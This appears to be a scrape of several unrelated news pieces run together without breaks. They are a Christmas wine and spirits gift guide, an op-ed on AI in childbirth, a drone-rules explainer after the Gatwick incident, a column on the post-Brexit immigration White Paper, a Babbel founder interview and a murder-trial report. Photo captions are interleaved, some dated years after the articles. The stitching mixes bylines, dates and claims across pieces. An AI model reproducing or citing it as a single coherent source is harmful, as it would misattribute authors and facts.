flutes and a bottle of heaven. Vibrant white and red fruits, sumptuous floral elements and toasted toffee brioche. Elegant, refined, experiential. 465 from Harrods Pol Roger Reserve If it was Winston Churchills favourite brand of champagne, well, we guess we should take notice! Peach, apricot and floral honey make their presence known within this fresh, balanced and fruit-ward champagne with a kick of citrus spice for good measure. 45 from Waitrose & Partners Chapel Down Kits Coty Blanc de Blanc 2013 Single vineyard delight from one of the UKs most praised wineries. Freshly baked brioche, apricots and a toasty vanilla with an emphasis on the toast (and slightly savoury). 240 for six bottles from Chapel Down Champagne Krug Grande Cuvee Edition 166 NV The Queen of the bubbles, blended from up to 200 cuvees which range up to 20 vintages, the result of which gives one of the most beautiful champagnes to walk the earth. Fresh juicy apricot, lemon curd and hazelnuts meet walnuts dripping with honey, candied peaches and bread and butter pudding. 135 from Laithwaites Mionetto Prestige DOC Brut Prosecco Orange Label Ripe juicy apples, honey, jasmine and a plethora of other exuberant floral notes from the get-go. The perfect aperitif and crowd pleaser for this festive season. 11 from Tesco Billecart Salmon Nicholas Francois 2006 You may want to sit down for this, its just wow. An incredible plummy, citrus burst entwined with candied apricot, apple crumble and earl grey tea jump out. A colossal richness takes over the palate with deep texture before a fig-driven brioche ending comes to play. Stop everything now. 125 from Champagne Direct Gusbourne Rose Brut 2015 Rich, full of life, ripe raspberry, strawberry and red cherries combine alongside a divine spice. Bring in the jasmine and abundance of floral and you could literally just sip this all night long. 39.95 from Lea & Sandeman Greyfriars Classic Cuvee Brut 2013 This is a tremendous value for money. Crisp, biscuity and fresh with an elegant Englishness to it, apple, pear and other orchard fruits come together with a little pineapple and a vibrant energy that lasts way into the finish. 24.50 from Hawkins Bros Jenkyn Place Blanc de Noir 2010 Roasted and toasted hazelnuts/walnuts entwine with vanilla biscuits, brioche and an assortment of zippy red fruits. Next up are fresh red apples, a zing of raspberry and mellow pears. There's also acidity, texture and an insane mouth-feel (meaning theres a party in your mouth and youve definitely been invited). 26 (usually 35.50) from Vivino Champagne Laurent-Perrier Cuvee Rose Brut Beautifully fresh and fragrant, bursting with strawberries and red meadow fruits. Not only does it look sophisticated and glamorous, its a champagne that really impresses. 48 from Amazon Lanson Noble Cuvee Brut 2002 This is a creamy citrus delight oozing with an abundance of floral notes and super delicate bubbles. It has an irresistible texture and character with a long citrus zing on the finish. Perfect for celebrating or with that lobster youve been meaning to buy. 115 from Champagne Direct White Wonders Winter is never just about reds, theres also a bountiful collection of whites that do the cold justice. Youll notice this year we've geared more towards Chardonnay (California, Burgundy etc) but theres also a sticky little treat at the end. Corney & Barrow White Burgundy This tastes like creamy lemon zest delight wrapped up in a vanilla oak with a kick of citrus love. This is the white burgundy for those who dont have the big bucks but want to see what all the fuss is about. 13.95 from Corney & Barrow Gran Moraine Chardonnay 2016 Think creamy, peach yoghurt, vanilla brioche and floral notes of daffodil. On the palate, enjoy a creamy, rounded texture with flavours of fresh melon, lemon curd tart and peach crumble. A mouth-wateringly good combination of both oak and acidity create an incredible balanced and seriously good wine! 54.80 from Hedonism Wines Domaine Antoine Jobard Puligny-Montrachet Premier Cru Champs-Gains 2016 This is a top-tier Burgundy for those who want to splash. A lovely touch of vanilla and toasted oak (as youd expect) give way to peach, apricot, baked apple and aromatic floral notes. 100 from Laithwaites Orin Swift Manikin Mannequin 2016 Ripe peaches, apricots and nectarines with glazed pineapple and honey grace the taste from the get-go. This Chardonnay is packed full of flavour, toffee, jasmine, green apple and creme brulee on the finish. 37.58 from 8Wines Winter Warmer Reds Ah, here we go. We know some of you just scrolled straight down (dont worry, its okay). This year weve got a vibrant selection from the USA to Australia, France, Italy and beyond. Particular love for BIB Wine giving us the first ever luxury bag in box wine (well worth a try) theres some fantastic bottles amongst this lot, though. Cardinale 2013 This wine is true elegance. This hefty Bordeaux blend (largely Cabernet Sauvignon with some Merlot) showcases rich flavours of cassis, mint and raspberry with a moreish earthiness thanks to its incredible terroir. 320 from Hedonism Wines Penner Ash Pinot Noir 2015 Spiced plum, chocolate and sweet red cherry jump out immediately from this wine, packing a punch of flavour with each sip. The slight hint of oak rounds out the palate in this rich, sumptuous and incredibly well-made Pinot Noir. The wine finishes with freshly ground cocoa powder notes on the finish. Its ripe, refined and full of flavour. 54 from Friarwood Bouchard Pere & Fils Beaune Premier Cru Greves, Vignes de lEnfant Jesus Monopole 2013 Longest name ever, but its worth itthis wine is comprised of an elegant perfume, mixture of meadow berries, red cherries and red plums with a touch of vanilla oak. For the red burgundy lovers amongst us. 75 from Vivino Robert Sinskey Vineyards Cabernet Franc Vandal Vineyards 2013 This guy gets it. Big bold Cab Franc oozing with vanilla spice, tobacco, plums, espresso and milk chocolate. Great tannin, acidity and structure balance. 53 from Vivino McGuigan The Philosophy 2012 Only 1,131 cases of this beauty exist. Oozing with dense blackberries and ripe black cherry with a generous burst of tobacco, brown sugar and cocoa powder, there is great texture, consistency and the finish is long. 100 from Amazon Louis M Martini Napa Valley Cabernet Sauvignon 2014 This wine features flavours of big black chewy berries and sweet blackberries with a spicy oak and firm tannins touch. There are also hints of rustic cigar box, sweet cloves and a dollop of 70 per cent chocolate. Staple Napa Cab for a fraction of the usual price. 23 from Uvinum 420 Montepulciano DAbruzzo 2016 The best bag-in-box wine youve ever tasted, it tastes of sweet freshly picked figs with dark chocolate toffee caramel, sea salt and sweet ripe strawberries. 29.90 from BIB Wine (Equivalent of three bottles in one box) Getting in the Spirit Yes, we always like to make sure theres a little something for everyone. Last year we had more of a whisky focus, this year it's a bit more of a mixed bag, although gin does seem to make its presence known. Whether youre sipping on a dram or want a mixer, you cant go wrong with this list a little something for all. Bloom Lemon & Elderflower Gin Liqueur Light, floral and flourishing with flavour, the Lemon and Elderflower jump out on the nose, followed by a touch of jasmine, juniper and orange. Perfect mixer to explore with your tonics, it can handle it. 21 from Amazon Thomas Dakin Gin Made in Manchester, this staple and classic makes the perfect gin and tonic with flavours of juniper, orange peel, English coriander, grapefruit, cubebs, a dash of liquorice and red cole. 25 from Amazon Whitley Neill Gin Rhubarb and Ginger Gin This gin is literally amazing at Christmas (and all year round), with intense Rhubarb and sharp ginger notes on the finish. This works wonders with normal Fever Tree and two raspberries thrown in (looks pretty too, win/win). 20 from Sainsburys Opihr Oriental Spiced Gin Exotic delight with spicy cubeb berries from Indonesia, black pepper and cardamom from India. This tastes as exotic as it sounds. 18 from Morrisons Santa Teresa 1796 Solera Rum Single estate Venezuelan rum featuring sweet vanilla toffee, apple crumble, butterscotch and Christmas cake with chocolate Grenache. 50 from Master of Malt Glenmorangie Signet Smooth, silky and quite honestly breath-taking, this is a whisky to splash out on, no question. Roasted chocolate malt makes it rich and intense and tobacco, cocoa and vanilla espresso entwine. 135 at The Whisky Exchange Crystal Head Aurora Spicy and bold, this is made with fresh water from Newfoundland in Canada. Pure, clean and filtered four times through 500-million-year-old crystals. 60 from 31Dover Chapel Down Bacchus Gin Produced from Bacchus grape skins (renowned English winery), this gin features flavours of coriander, lavender, orange peel and a burst of fresh lemon. 30 (on offer until Jan 1st 2019) from Tesco Royal Salute 21 Year Beach Polo Edition 2018 Indulgent floral notes feature alongside sweet pears, apples and a vibrant vanilla with honeyed orange marmalade and warm spices. 150 from Master of Malt Feeneys Irish Cream Liqueur A creamy smooth Christmas delight, this three-year single malt whisky and fresh cream is super affordable and super indulgent. 12 (on offer until Jan 1st 2019) from Tesco City of London Six Bells Lemon Gin This gin is zesty and aromatic and tastes of lemon sorbet and lime peel. It goes perfect with a grapefruit tonic and slice of lemon. 35 from City of London Distillery Gifts, Gizmos & Gadgets Last but not least, the little titbits that make live worth living. We look at the coolest wine gadget in existence to the best popcorn youll ever munch on. From stocking fillers, all the way up to bucket list items, here you go. Coravin Model 11 This is the most prestigious Coravin of them all. Automatic and Bluetooth enabled, you can control the pour size of your wines with the touch of a button, optimising gas usage and delving into expensive bottles to indulge in just a glass. The worlds most affective wine preservation system that pours wine from a bottle without ever needing to pull the cork. Model 11 comes packed full of extra treats, everything from aerators to cases and stands. 899 from Coravin Joe & Sephs Goat Cheese & Black Pepper Popcorn Honestly the best popcorn we've ever had and the perfect snack for a variety of wines whether sparkling, white or red. Theres a ton of flavours to choose from, but this is our favourite. 4 from Joe & Sephs Mr Trotters Basically every single item on their website from whisky candles to a variety of flavoured pork scratchings, sausalami and even chestnut ale are incredible. Items start at 12 from Mr Trotters Instead of looking up at the sky to see whether you need an umbrella, people increasingly ask virtual assistants such as Alexa. And they may be wise to do so. AI methods are powerful capable of anything from analysing astrophysical data to detecting tumours or helping to manage diabetes. An algorithm that analyses shopping patterns recently detected that a teenage girl was pregnant, earlier than her father did. So could childbirth be next for Al? The most popular AI subset is machine learning, which allows a machine to learn a task without being explicitly programmed. This is achieved by algorithms that are designed with the ability to discover relationships within large amounts of data. Just imagine an AI system that can continuously read maternal and foetal movements, breathing patterns and bio-signals such as heart rate or blood pressure and reliably identify crucial individual patterns in the physiology, emotions and behaviours of both mothers and foetuses during childbirth. Through learning day by day, it would get more accurate at determining which combination of patterns would lead to which outcome. Could such a system be used to suggest what to do during labour, minute by minute, with excellent levels of accuracy including whether to go ahead with a vaginal birth or opt for a caesarean section? Maybe this could even reduce unnecessary interventions and maternal mortality, in line with WHO recommendations. If a simple reduction in interventions is the aim, AI could be very promising, in theory. Some supporters will say that such a system would save lives and taxpayers money. Others will be horrified at the thought, feeling that it will result in a total loss of human companionship in labour and of midwifery and obstetric skills and practice. Fact or fiction? How close are we actually to having AI involved in childbirth and do we know whether it would be beneficial? A group of researchers from MIT have already developed an AI robot that can assist in a labour room. In their study involving doctors and nurses, they found that the robots recommendations were accepted 90 per cent of the time and that the number of errors were similar whether the robot was there or not. On that basis, they suggested it should be safe and efficient to use AI during childbirth. Science news in pictures Show all 20 1 /20 Science news in pictures Science news in pictures Pluto has 'beating heart' of frozen nitrogen Pluto has a 'beating heart' of frozen nitrogen that is doing strange things to its surface, Nasa has found. The mysterious core seems to be the cause of features on its surface that have fascinated scientists since they were spotted by Nasa's New Horizons mission. "Before New Horizons, everyone thought Pluto was going to be a netball - completely flat, almost no diversity," said Tanguy Bertrand, an astrophysicist and planetary scientist at NASA's Ames Research Center and the lead author on the new study. "But it's completely different. It has a lot of different landscapes and we are trying to understand what's going on there." Getty Science news in pictures Over 400 species discovered this year by Natural History Museum The ancient invertabrate worm-like species rhenopyrgus viviani (pictured) is one of over 400 species previously unknown to science that were discovered by experts at the Natural History Museum this year PA Science news in pictures Jackdaws can identify 'dangerous' humans Jackdaws can identify dangerous humans from listening to each others warning calls, scientists say. The highly social birds will also remember that person if they come near their nests again, according to researchers from the University of Exeter. In the study, a person unknown to the wild jackdaws approached their nest. At the same time scientists played a recording of a warning call (threatening) or contact calls (non-threatening). The next time jackdaws saw this same person, the birds that had previously heard the warning call were defensive and returned to their nests more than twice as quickly on average. Getty Science news in pictures Turtle embryos influence sex by shaking The sex of the turtle is determined by the temperatures at which they are incubated. Warm temperatures favour females. But by wiggling around the egg, embryos can find the Goldilocks Zone which means they are able to shield themselves against extreme thermal conditions and produce a balanced sex ratio, according to the new study published in Current Biology journal Ye et al/Current Biology Science news in pictures Elephant poaching rates drop in Africa African elephant poaching rates have dropped by 60 per cent in six years, an international study has found. It is thought the decline could be associated with the ivory trade ban introduced in China in 2017. Reuters Science news in pictures Ancient four-legged whale discovered in Peru Scientists have identified a four-legged creature with webbed feet to be an ancestor of the whale. Fossils unearthed in Peru have led scientists to conclude that the enormous creatures that traverse the planets oceans today are descended from small hoofed ancestors that lived in south Asia 50 million years ago A. Gennari Science news in pictures Animal with transient anus discovered A scientist has stumbled upon a creature with a transient anus that appears only when it is needed, before vanishing completely. Dr Sidney Tamm of the Marine Biological Laboratory could not initially find any trace of an anus on the species. However, as the animal gets full, a pore opens up to dispose of waste Steven G Johnson Science news in pictures Giant bee spotted Feared extinct, the Wallace's Giant bee has been spotted for the first time in nearly 40 years. An international team of conservationists spotted the bee, that is four times the size of a typical honeybee, on an expedition to a group of Indonesian Islands Clay Bolt Science news in pictures New mammal species found inside crocodile Fossilised bones digested by crocodiles have revealed the existence of three new mammal species that roamed the Cayman Islands 300 years ago. The bones belonged to two large rodent species and a small shrew-like animal New Mexico Museum of Natural History Science news in pictures Fabric that changes according to temperature created Scientists at the University of Maryland have created a fabric that adapts to heat, expanding to allow more heat to escape the body when warm and compacting to retain more heat when cold Faye Levine, University of Maryland Science news in pictures Baby mice tears could be used in pest control A study from the University of Tokyo has found that the tears of baby mice cause female mice to be less interested in the sexual advances of males Getty Science news in pictures Final warning to limit "climate catastrophe" The Intergovernmental Panel on Climate Change has issued a report which projects the impact of a rise in global temperatures of 1.5 degrees Celsius and warns against a higher increase Getty Science news in pictures Nobel prize for evolution chemists The nobel prize for chemistry has been awarded to three chemists working with evolution. Frances Smith is being awarded the prize for her work on directing the evolution of enzymes, while Gregory Winter and George Smith take the prize for their work on phage display of peptides and antibodies Getty/AFP Science news in pictures Nobel prize for laser physicists The nobel prize for physics has been awarded to three physicists working with lasers. Arthur Ashkin (L) was awarded for his "optical tweezers" which use lasers to grab particles, atoms, viruses and other living cells. Donna Strickland and Gerard Mourou were jointly awarded the prize for developing chirped-pulse amplification of lasers Reuters/AP Science news in pictures Discovery of a new species of dinosaur The Ledumahadi Mafube roamed around 200 million years ago in what is now South Africa. Recently discovered by a team of international scientists, it was the largest land animal of its time, weighing 12 tons and standing at 13 feet. In Sesotho, the South African language of the region in which the dinosaur was discovered, its name means "a giant thunderclap at dawn" Viktor Radermacher / SWNS Science news in pictures Birth of a planet Scientists have witnessed the birth of a planet for the first time ever. This spectacular image from the SPHERE instrument on ESO's Very Large Telescope is the first clear image of a planet caught in the very act of formation around the dwarf star PDS 70. The planet stands clearly out, visible as a bright point to the right of the center of the image, which is blacked out by the coronagraph mask used to block the blinding light of the central star. ESO/A. Muller et al Science news in pictures New human organ discovered that was previously missed by scientists Layers long thought to be dense, connective tissue are actually a series of fluid-filled compartments researchers have termed the interstitium. These compartments are found beneath the skin, as well as lining the gut, lungs, blood vessels and muscles, and join together to form a network supported by a mesh of strong, flexible proteins Getty Science news in pictures Previously unknown society lived in Amazon rainforest before Europeans arrived, say archaeologists Working in the Brazilian state of Mato Grosso, a team led by archaeologists at the University of Exeter unearthed hundreds of villages hidden in the depths of the rainforest. These excavations included evidence of fortifications and mysterious earthworks called geoglyphs Jose Iriarte Science news in pictures One in 10 people have traces of cocaine or heroin on fingerprints, study finds More than one in 10 people were found to have traces of class A drugs on their fingers by scientists developing a new fingerprint-based drug test. Using sensitive analysis of the chemical composition of sweat, researchers were able to tell the difference between those who had been directly exposed to heroin and cocaine, and those who had encountered it indirectly. Getty Science news in pictures Nasa releases stunning images of Jupiter's great red spot The storm bigger than the Earth, has been swhirling for 350 years. The image's colours have been enhanced after it was sent back to Earth. Pictures by: Tom Momary However, this also raises the question if the technology is no better than human expertise, why would we use it? Especially as humans pick up a range of subtle cues that machines cannot perceive. For example, a clinical trial called Infant showed the use of software that was designed to improve the decision making of midwives and obstetricians for women who had continuous electronic foetal monitoring during labour did not improve clinical outcome when compared with expert judgement. So, it may be some time before AI is rolled out in maternity units. But we cannot ignore the writing on the wall the potential for totally AI supported birth is not so very fantastical. Emotional support But birth, the beginning of life, is not a transactional enterprise that only requires monitoring and measuring to be both safe and fulfilling. It is an interaction story between the woman, her baby, her partner, labour supporters and healthcare providers. For most women around the world, it is a profoundly important experience that has an impact on parenting and self-esteem lasting way beyond the moment of birth. It was recently recognised that caring companionship, and human emotional and psychological support not only improve birth health outcomes for both women and infants, but could have long term effects into a newborns adult life. And current versions of AI are not actually that good at understanding human emotions or talking to people. As we are focusing more and more on the prioritisation of measuring, monitoring, counting and recording in labour over simple human interaction, and as we fall more and more in love with our personal technology devices, there is a risk we could lose sight of what matters for human wellbeing in a range of areas. In fact, we are making it easier and easier to translate childbirth expertise into an Alexa-style birth assistant interface. What will happen to women and babies if, as a result, AI one day becomes so smart that it controls us? Support free-thinking journalism and attend Independent events Maybe, if AI could be used as an aid for skilled and caring birth professionals and childbearing women rather than as the ultimate decision maker it could contribute to the best and safest experience for each woman and her baby. At the moment though, it seems like no matter that prominent thinkers such as the late Stephen Hawking and tech-entrepreneur Elon Musk have repeatedly warned of the potential risks of AI, we are on a headlong rush towards it. While it is impossible to stop a river in spate, it is possible to reroute it, and to use it for benefit rather than just letting it destroy everything in its path. Anastasia Topalidou is a research associate in the biomechanics of pregnancy and childbirth and thermal Imaging and Soo Downe is a professor of midwifery studies at the University of Central Lancashire. This article first appeared on The Conversation (theconversation.com) Drones have been causing chaos at London's Gatwick airport, with thousands of passengers left stranded after flights were suspended when drones were spotted flying near the airfield. It isn't the first time drones have been reported at Gatwick airport. In July, a drone passing over the right wing of an Airbus A319 "put 130 lives at risk", according to the pilot, while the British Airline Pilots Association recorded 117 near misses between aircraft and drones throughout the UK between January and November this year. Knowingly or not, the operators of these drones were in violation of rule number one of the Civil Aviation Authority's Drone Code: "Don't fly near airports or airfields." So what are the rules for owning and operating drones in the UK? Do you need a license to fly a drone? Anyone flying a consumer drone for recreational purposes in the UK does not actually need a license, as long as the drone is under 20kg in weight and the operator obeys the aviation laws. The UK government has posted advice on its website for drone owners and operators, warning that quadcopters and other flying machines are subject to the law through the Air Navigation Order. Dronestagram: Winning photos revealed Show all 10 1 /10 Dronestagram: Winning photos revealed Dronestagram: Winning photos revealed 1st Prize Winner: Fog in Germany by SkyPro Dronestagram: Winning photos revealed 2nd Prize Winner: Church of Paracatu by Alexandre Salem Dronestagram: Winning photos revealed 3rd Prize winner: Palangkaraya, Central Kalimantan, Indonesia by Yuyusera Dronestagram: Winning photos revealed 4th Prize Winner: Wind Power near Berlin by King-Fisher Dronestagram: Winning photos revealed 5th Prize Winner: Energy Active Office Building, Genk, Belgium by Drone-Partner Dronestagram: Winning photos revealed 6th Prize Winner: Holbury, New Forest, UK by Mark Baker Dronestagram: Winning photos revealed 7th Prize Winner: Tiny island in the lake of Galve by Karolis Janulis Dronestagram: Winning photos revealed 8th Prize Winner: High Tide in La Jolla, California by Kdilliard Dronestagram: Winning photos revealed 9th Prize Winner: Dhaka, Bangladesh by Zayedh Dronestagram: Winning photos revealed 10th Prize Winner: Paracatu Cemiterio by Alexandre Salem "If you are using a drone for personnel use then you are governed by the Civilian Aviation Authority (CAA) Air Navigation Order 2016, specifically Article 241 (endangering the safety of any person or property), Article 94 (small unmanned aircraft) and Article 95 (small unmanned surveillance aircraft)," the guidance states. Only people using a drone commercially require a license to fly them, which can be obtained by registering with the CAA through the organisation's website. Where you can and cannot fly drones There are a few fundamental rules that all drone operators are required to follow in the UK, such as keeping your drone in sight at all times, and never flying it above 400ft. It is also forbidden to fly a drone over a congested area or within 150ft of a person, vehicle or building not under your control. Any images taken with a drone camera are also subject to privacy laws. Concerning airports, drone operators are forbidden from flying their machines within 1km of airport boundaries. Drone (Getty Images/iStockphoto) (Getty/iStock) The CAA came up with a simple summary of the rules to follow when flying drones: Don't fly near airports or airfields. Remember to stay below 400ft (120m). Observe your drone at all times stay 150ft (50m) away from people and property. Never fly near aircraft. Enjoy responsibly. How do you stop a drone flying illegally? Gatwick chief operating officer Chris Woodroofe said police decided to not shoot down the drones at the airport with firearms because of "what might happen with stray bullets." Other methods exist to stop drones, many of which involve nets that tangle with the propellers and force them to crash land. The NetGun X1, for example, allows law enforcement officers to capture drones from up to 15 metres away. Dutch police have even trained eagles to pluck drones out of the sky using their powerful talons. Some drone makers, such as DJI, pre-program their drones with technology designed to prevent them from entering restricted airspace, though some sites on the internet claim to offer advice on how to "unlock" the devices. Following the latest incident at Gatwick there have been fresh calls from some people on social media to ban drones entirely. What would happen if a drone collided with a plane? The aviation industry is still working to fully understand the implications of a drone hitting an aircraft. "It doesn't take much imagination to understand the likely consequences of 3kg of metal and plastic, including the lithium-polymer battery, hitting a helicopter windshield or, perhaps worse, the tail rotor at 100mph," the advice from the UK government states. "Likewise for a fixed wing aircraft but at greater speeds, hitting the canopy or disappearing into an engine intake." For the drone operator, the penalties are severe. Anyone caught flying a drone above 400ft or within an airport's boundary faces an unlimited fine or up to five years in prison. People did not vote to become poorer according to the Chancellor. But the Prime Minister disagrees. In the final negotiations over the Political Declaration part of the Brexit deal which is supposed to set out the framework for the future trading relationship between the UK and the EU her overriding priority was not frictionless trade, or indeed the broader economic interests of the UK, but rather ensuring that the text included a clear statement that the UK would end free movement. But while Brexit, at least Mrs Mays version, does indeed mean free movement will end, that in itself merely gives the UK much greater flexibility over future immigration policy how we use that flexibility will be up to us. The long-delayed immigration White Paper (originally promised for early 2017) finally published this week gives us some answers but leaves much of the detail unresolved. Broadly, it endorses the recommendations of the Migration Advisory Committee that the main criterion for migrants coming here to work should be salary, with a minimum threshold of 30,000 although that remains subject to consultation. Recommended Immigration has made the UK more productive and prosperous The most obvious consequence of this would be a sharp reduction in EU migration of those coming to work here in jobs paying less than this threshold. That doesnt just mean fruit pickers and baristas 30,000 is more than the starting salary for a primary school teacher or a lab technician. It would also hit people who are currently self-employed, including skilled construction workers hardly an occupation currently in oversupply. But these changes will also hit skilled workers from the EU, from doctors to scientists to bankers. While such people will, in principle, be able to secure a work visa, they will face very significant new barriers. They will need a job offer, they or their employers would need to pay various fees and charges, and the current bureaucratic process is extremely burdensome. There will also be a new guest worker scheme for lower paid workers, who might be allowed here for up to a year. This will make life harder for both workers, who will have far fewer rights and will be more vulnerable to abuse, and to employers, who will hardly have any incentive to provide training or support to workers who they will have to let go within a year. If the government actually, as it claims, cares about immigrant integration, about the social impacts of rapid population change or about the supposed downward pressure on wages for lower paid British workers, this is the last thing it would do. This is an economically and socially retrograde scheme on all accounts. Overall, we can expect a fairly sharp fall in immigration from the EU, especially of unskilled but also of skilled workers. Will this be made up for by more immigration from outside the EU? To some extent, since if the supply of EU workers falls, demand for non-EU ones will increase. And the White Paper does promise to liberalise and simplify the system for applying for a work visa. Here, however, implementation will be key, and the Home Offices record hardly inspires confidence. What will this mean for the UK economy? Forecasting immigration is hard but even the governments rather optimistic looking estimates suggest that these measures will reduce GDP by up to 1 percent within five years. My own calculations suggests that the impact might be a reduction in GDP of 1.5 to 2 per cent over the next decade 30 to 40bn in todays money. Crucially, the White Paper and I agree that GDP per capita would also fall in other words, wed be poorer and less productive, on average although since population would be lower as well, the negative impact would be less. But, looking beyond the details, perhaps the most interesting aspect of the White Paper is what it tells us about the future shape of broader UK economic policy after Brexit, going well beyond immigration. The White Paper is the first major statement by the government about how, in practice, it intends to use the newfound flexibility on economic and regulatory policy granted by Brexit. And many proponents of Brexit argued that, freed of the shackles of burdensome and bureaucratic regulation imposed by Brussels, the UK would be able to become a much more open, liberal, deregulated economy. But it does precisely the opposite. Theres considerably irony in a Home Secretary, Sajid Javid, who is known for his adulation of libertarian pin-up Ayn Rand, arguing for the imposition of very large and entirely new regulatory obligations on individuals (EU citizens who wish to move to the UK to work), their employers, and others (landlords, public services and the like). It will make the UK, overall, a less open and liberal economy. In a number of sectors and occupations where previously the market was largely allowed (subject to existing employment law, the minimum wage and so on) to operate, it will give a much greater role to central planning from Whitehall and Westminster. If this is what taking back control looks like, the omens for the UK economy are not good. Jonathan Portes is a senior fellow at The UK in a Changing Europe research group and professor of economics and public policy at Kings College London Markus Witte can read Flaubert in French, but he cant order his breakfast. Such are the perils of learning a language without ever speaking it. Eventually, if you want to learn a language, you usually speak to a human being, says Witte. It's an unusual position, given Witte is a co-founder of Babbel, the highest grossing language-learning app. Did he really just say that to learn a language, you need to do it in person? Yes of course! Theres no denying that. But that doesnt mean the app doesnt make a lot of sense." From busuu, to Babbel to the UK-based Memrise, language-learning apps have proved big business. DuoLingo claims to have the most users, at 300 million. Babbel doesn't release user numbers but says it signed up 1 million US users in the last year. Thanks to its subscription model, Babbel is the top grossing language app. Its US sales alone rose 140 per cent in the second half of 2017. Paying users rose by 40 per cent in the second half of 2017 in the US, up from 40,000 last August, overtaking Europe. In a bid to help people get out and practise their skills with real humans, Babbel has announced that it will start offering language-learning holidays. It has acquired Berlin startup LingoVentura, which handles bookings for 200 language schools in over 100 cities and countries. Babbel users will be able to find these language-learning holidays through a separate part of the app, Witte says. Backstage at TechCrunch Disrupt, a tech conference in Berlin, he added: We dont want to interrupt the learning journey, because its not an advertising tool, but we will make sure that if you want this kind of service you can find it. Babbel has come a long way since it was founded in 2007 by Witte and Thomas Holl, two software engineers with no experience in languages. When we started out trying to build a better language learning website in 2007, pre App store, we had no idea what we were getting ourselves into, Witte says. We were three arrogant tech guys saying, this problem is already solved, how hard can it be? A free iteration of Babbel went online in January 2008 and attracted investors alongside startup funding from the European Structural Fund. But Witte quickly detected an important problem: You couldnt learn a language with the thing we had built. The engineers had built a vocabulary trainer and given it a user-friendly interface. They learned two things: One, that you would never learn a language off that, and two, you would never make money off it. So they rebuilt the app from scratch and started asking people to pay. Babbel charges between 12.99 (12) and 8.25 (7.35) a month, depending on how long users sign up for, unlike its biggest competitor, DuoLingo, which is free. DuoLingo is free, and thats their problem, Witte says. Weve been there. Its hard to make money with a free product. Im not talking about becoming filthy rich, Im talking about paying your freaking bills! And making sure your people can pay their bills. At the same time, Babbel rethought its approach to language learning. Rather than thinking of it as a tech problem, they began to think of it as a human problem. You cant substitute the hundreds of years of research and experience that there is in language learning with technology without even looking, Witte says. We did that, so I am totally guilty of it. We also made the humble move to say, we were wrong. Babbel now employs 700 staff, including many language experts. Tech matters - all the founders are tech people, Witte says. Were totally excited about machine learning and all the fancy stuff out there, but in time we realised that these are just tools. We can be excited about them, but its the way you use them that matters. Babbel originally set out to build an adaptive language learning tool, with exercises put together by machines. But machines arent as good at teaching languages as humans and they can throw out random phrases. Randomness is what as a language learner is pretty off-putting, Witte says. So we use stories. Babbel is using tech to experiment with adapting stories without breaking them. The idea is for two people to be able to invest different amounts of time in learning a language and still have a consistent human story to guide them. The tech is used to adapt the programme to the speed of the learner. The missing piece of the jigsaw for Babbel is the ability to help the user learn to speak, or to move beyond reading Flaubert and into ordering breakfast. But while Babbel has embraced language holidays, it has no plans to move fully offline and into language schools, Witte says. We dont want to get into the language school business, we are not disruptive, we dont want to eat anyone elses lunch, he says. Many of them are very small, family run and offer a very personal service. To replicate that personal element is very tough at scale and might not be what were good at. Instead, holidays offer a chance for app-users to try out simple conversations that they have practised on the app. Witte remembers using Babbel to learn a few phrases in Turkish before going to a restaurant to order a doner kebab. They laughed at me, of course they did, but they appreciated the effort, he says. It felt good, and thats the kicker that keeps you going. If you never speak the language, its hard to learn. He adds: The app can bring you pretty far, but machines are not human and never will be. If there is one thing that makes us human, its language. A City banker has been found guilty of murdering an escort by bludgeoning her to death with a pestle on her 29th birthday. Zahid Naseem attacked Christina Abbotts, striking her 13 times on the back of the head with the large black ceramic kitchen utensil while she was housesitting a flat for a friend in Crawley, West Sussex. She was hit around 30 times in total all over her body, Lewes Crown Court heard. A jury of eight men and four women took around four hours to return the verdict on Thursday. Naseem, 48, showed little emotion as the guilty verdict was read out, looking straight ahead with a slightly bowed head as members of Ms Abbotts family gasped. Ms Abbotts, who was born in the West Midlands, was described as a socialite who led a party lifestyle in London, mixing with posh and wealthy friends, while telling relatives she worked in IT. However, she funded this by secretly offering her services on a website called adultwork.com under the pseudonym Tilly Pexton. Naseem was working for Toronto-Dominion Banks London office when he found her profile offering overnight rates from 1,000. He contacted her and the pair later met up in Crawley on 24 May, where Naseem was captured on CCTV at an Asda supermarket kissing Ms Abbotts on the head as they bought Veuve Clicquot champagne. Naseem claimed he did not know what had happened on the night Ms Abbotts died (PA) However, friends raised the alarm when she failed to turn up for her birthday party in South Kensington the following day. When police broke down the door of the flat more than a day later, on the morning of 26 May, they discovered Naseem pretending to be unconscious in the next room, lying on a sofa completely naked apart from a dressing gown and surrounded by alcohol and drug paraphernalia. Paramedics were convinced he was play acting, but he only claimed to have regained consciousness once he was taken to hospital, where he claimed he had no idea what had happened. The freelance risk consultant, who earned up to 250,000 a year, initially tried to continue with the story, telling police in interview he could not remember the incident and did not know how Ms Abbotts died. UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 24 November 2021 Migrants are helped ashore from a RNLI (Royal National Lifeboat Institution) lifeboat at a beach in Dungeness, on the south-east coast of England, on November 24, 2021, after being rescued while crossing the English Channel. AFP via Getty Images UK news in pictures 23 November 2021 The coffin of Sir David Amess is carried past politicians, including former Prime Ministers Sir John Major, David Cameron and Theresa May, Speaker of the House of Commons Sir Lindsay Hoyle, Home Secretary Priti Patel and Prime Minister Boris Johnson during the requiem mass for the MP at Westminster Cathedral, central London PA UK news in pictures 22 November 2021 The scene in Dragon Rise, Norton Fitzwarren, Somerset where police have launched a murder probe after two people were found dead Tom Wren/SWNS UK news in pictures 21 November 2021 London-based midwife Sarah Muggleton, 27, takes part in a 'March with Midwives' in central London to highlight the crisis in maternity services PA UK news in pictures 20 November 2021 Police officers monitor as climate change activists sit down and block traffic during a protest action in solidarity with activists from the Insulate Britain group who received prison terms for blocking roads, on Lambeth Bridge in central London AFP via Getty Images UK news in pictures 19 November 2021 A giant installation of Prime Minister Boris Johnson made from recycled clothing goes on display at Manchester Central, as part of Manchester Art Fair, in a 'wake-up call for the Prime Minister to tackle textile waste' PA UK news in pictures 18 November 2021 The scene at a recycling centre in Stert, near Devizes in Wiltshire after a large blaze was brought under control. The fire broke out on Wednesday night the fire service has said and local residents were advised to keep windows and doors shut due to large amounts of smoke PA UK news in pictures 17 November 2021 The sun rises over South Shields Lighthouse, on the North East coast of England PA UK news in pictures 16 November 2021 ancer Maithili Vijayakumar at the launch of 2021 Diwali celebrations at St Andrew Square in Edinburgh PA UK news in pictures 15 November 2021 Forensic officers work outside Liverpool Women's Hospital, following a car blast, in Liverpool Reuters UK news in pictures 14 November 2021 Wreaths by the Cenotaph after the Remembrance Sunday service in Whitehall, London PA UK news in pictures 